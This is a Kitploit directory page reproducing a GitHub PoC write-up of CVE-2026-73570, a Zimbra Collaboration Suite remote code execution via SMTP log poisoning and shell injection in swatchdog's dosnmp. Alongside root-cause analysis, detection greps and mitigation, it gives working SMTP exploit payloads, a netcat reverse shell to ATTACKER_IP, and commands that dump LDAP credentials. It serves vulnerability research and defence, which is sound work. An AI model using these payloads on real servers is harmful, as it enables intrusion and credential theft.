Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-73570 — Zimbra Collaboration Suite RCE — SMTP log poisoning → swatchdog → OS Command Injection (CVSS 8.9, CISA KEV) | Kitploit
Tools/GitHubGitHub/juanpoch/cve-2026-73570
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubjuanpoch/cve-2026-73570

CVE-2026-73570

Zimbra Collaboration Suite RCE — SMTP log poisoning → swatchdog → OS Command Injection (CVSS 8.9, CISA KEV)

Repository anzeigen
11vor 13 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Inhalt in der angeforderten Sprache nicht verfügbar. Englische Version wird angezeigt.

CVE-2026-73570 — Zimbra Collaboration Suite RCE

Note: This repository contains an independent technical analysis and PoC reproduction of CVE-2026-73570. It is not the original vulnerability report.


Zimbra Collaboration Suite RCE — SMTP log poisoning → swatchdog → OS Command Injection (CVSS 8.9, CISA KEV)

Type: OS Command Injection → Unauthenticated RCE
Vector: SMTP log poisoning → swatchdog → dosnmp string-form shell expansion
Vendor/CVE affected range: Zimbra Collaboration Suite < 10.1.20
Prerequisites: zimbra-snmp installed; SNMP notifications enabled
CVSS: 8.9 (High)
CISA KEV: Yes — added to the CISA Known Exploited Vulnerabilities Catalog
Patch: Zimbra 10.1.20 (released 2026-07-20)

Version-range note: The vendor/CVE metadata lists affected versions as Zimbra < 10.1.20. However, the Zimbra 10.1.0 source examined during this research already used the safe list-form system() call. This suggests that the vulnerable string-form implementation was introduced in an intermediate build and later corrected in 10.1.20, but the exact version where the regression was introduced was not independently verified from repository history.


Root Cause

The vulnerability lives in /opt/zimbra/conf/swatchrc.in, inside the dosnmp function responsible for sending SNMP trap notifications when a Zimbra service changes state.

Vulnerable implementation

root@kitploit:~
sub dosnmp {
    my %args = (@_);
    print "SNMP notification: $args{MESSAGE}\n";

    system(
        "$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}"
    );
}

The vulnerable implementation uses the string form of Perl's system(). The resulting command is interpreted by a shell, allowing shell metacharacters and command substitutions such as $(...) contained in $args{SERVICE} to be evaluated.

Fixed implementation (Zimbra 10.1.20)

root@kitploit:~
sub dosnmp {
    my %args = (@_);
    print "SNMP notification: $args{MESSAGE}\n";

    system(
        "/opt/zimbra/common/bin/snmptrap",
        "-v", "2c",
        "-c", "zimbra",
        $traphost,
        "",
        $snmpsvctrap,
        $snmpsvcname,
        "s",
        $args{SERVICE},
        $snmpsvcstatus,
        "i",
        $statuses{$args{STATUS}}
    );
}

The core security fix is switching from string-form to list-form system(), preventing shell interpretation of attacker-controlled data.

With the list form, the executable and its arguments are passed separately. Values such as $(cmd) are treated as literal data instead of shell syntax.


Exploit Chain

root@kitploit:~
Attacker (Kali)
    │
    │  SMTP RCPT TO with crafted quoted local-part
    │  containing the swatchdog pattern + payload
    ▼
Postfix/smtpd (Zimbra server, port 25)
    │
    │  Accepts the RCPT TO
    │  Logs it to /var/log/zimbra.log
    ▼
swatchdog (running as zimbra)
    │
    │  Pattern:
    │  /: Service status change: (\S+) (.*) changed from stopped to running/
    │
    │  Captures attacker-controlled content
    │  and passes it to donotify()
    ▼
donotify()
    │
    ▼
dosnmp()
    │
    │  system("$snmptrap ... $args{SERVICE} ...")
    ▼
/bin/sh
    │
    │  Expands $(payload)
    ▼
Command execution as "zimbra"
    │
    ▼
Reverse shell / post-exploitation

The key issue is the complete data flow:

root@kitploit:~
SMTP
→ Postfix
→ /var/log/zimbra.log
→ swatchdog
→ donotify()
→ dosnmp()
→ string-form system()
→ shell interpretation
→ command execution

Postfix accepts the specially crafted quoted local-part and records it in zimbra.log. swatchdog subsequently interprets matching log content as a service-status event, allowing attacker-controlled data to reach the vulnerable system() invocation.


Proof of Concept

The following commands were tested only in an isolated lab environment.

Basic PoC — command execution

Connect to the target SMTP service:

root@kitploit:~
nc <target> 25

Send a specially crafted SMTP transaction:

root@kitploit:~
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT

If exploitation succeeds, /tmp/pwned_rce contains output similar to:

root@kitploit:~
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)

This confirms command execution in the context of the zimbra user.


Reverse Shell

Start a listener on the attacker machine:

root@kitploit:~
nc -lvnp 4444

Then deliver the payload through SMTP:

root@kitploit:~
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
QUIT

Successful exploitation results in an interactive shell running as the zimbra user.


Lab Setup

Requirements

  • VirtualBox
  • Kali Linux
  • Ubuntu Server 22.04 LTS
  • Zimbra Collaboration Suite 10.1.0
  • Isolated NAT network

Network

root@kitploit:~
Attacker (Kali):       10.0.2.15
Victim (Ubuntu):       10.0.2.22
Hostname:              mail.lab.local
VirtualBox NAT Network: 10.0.2.0/24

Important lab note

The Zimbra 10.1.0 source examined during this research already contained the safe list-form system() implementation.

Therefore, the stock 10.1.0 installation used in this lab was not treated as evidence that Zimbra 10.1.0 itself was vulnerable.

To reproduce the vulnerable condition described by CVE-2026-73570, swatchrc.in was manually modified to use the vulnerable string-form system() implementation.

Backup the original configuration:

root@kitploit:~
cp /opt/zimbra/conf/swatchrc.in \
   /opt/zimbra/conf/swatchrc.in.bak

The vulnerable behavior can then be reproduced in the isolated lab by applying the string-form implementation shown in the Root Cause section and running swatchdog against the Zimbra log.

Example:

root@kitploit:~
PERL5LIB=/opt/zimbra/common/lib/perl5 \
  /opt/zimbra/common/bin/swatchdog \
  -c /opt/zimbra/conf/swatchrc \
  -t /var/log/zimbra.log &

This lab modification exists solely to reproduce and analyze the vulnerable data flow. It should not be interpreted as evidence that the unmodified 10.1.0 build was vulnerable.


Post-Exploitation

Successful exploitation provides command execution as the zimbra user.

Confirm the execution context:

root@kitploit:~
id

Example:

root@kitploit:~
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)

Zimbra's local configuration can expose credentials available to the compromised service account.

For example:

root@kitploit:~
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password

These credentials may provide access to Zimbra's LDAP directory and demonstrate the post-exploitation impact of obtaining command execution as the zimbra user.


Detection

Search Postfix/Zimbra logs for SMTP recipient entries containing the swatchdog service-status pattern:

root@kitploit:~
grep -E 'to=<".*Service status change.*"@' /var/log/zimbra.log

A broader search for command-substitution syntax inside quoted local-parts:

root@kitploit:~
grep -E 'to=<"[^"]*\$\([^"]*\)"@' /var/log/zimbra.log

Matches should be treated as strong indicators of an exploitation attempt and investigated immediately.

Confirmation of successful command execution requires correlated evidence such as:

  • unexpected processes running as zimbra;
  • unexpected outbound connections from the server;
  • suspicious filesystem artifacts, particularly under /tmp;
  • related events in system or application logs.

Mitigation

Primary mitigation

Upgrade Zimbra Collaboration Suite to 10.1.20 or later.

The security fix changes the vulnerable dosnmp() invocation from string-form to list-form system(), preventing attacker-controlled values from being interpreted by a shell.

After patching, review historical logs and system activity for evidence of exploitation that may have occurred while the system was vulnerable.


References

  • NVD — CVE-2026-73570
  • CISA Known Exploited Vulnerabilities Catalog
  • Zimbra Security Advisories
  • Zimbra 10.1.20 Release Notes
  • RFC 5321 — SMTP

Full technical write-up

https://jpoch.dev/writeups/cve-2026-73570

Video walkthrough

https://www.youtube.com/watch?v=sN1Dt6gu3wY


Disclaimer

This repository contains an independent technical analysis and PoC reproduction of CVE-2026-73570.

It is not the original vulnerability report, and no claim of original discovery is made.

All testing documented here was performed in an isolated lab environment for educational and authorized security research purposes.

Do not use these techniques against systems you do not own or do not have explicit authorization to test.

Tool herunterladen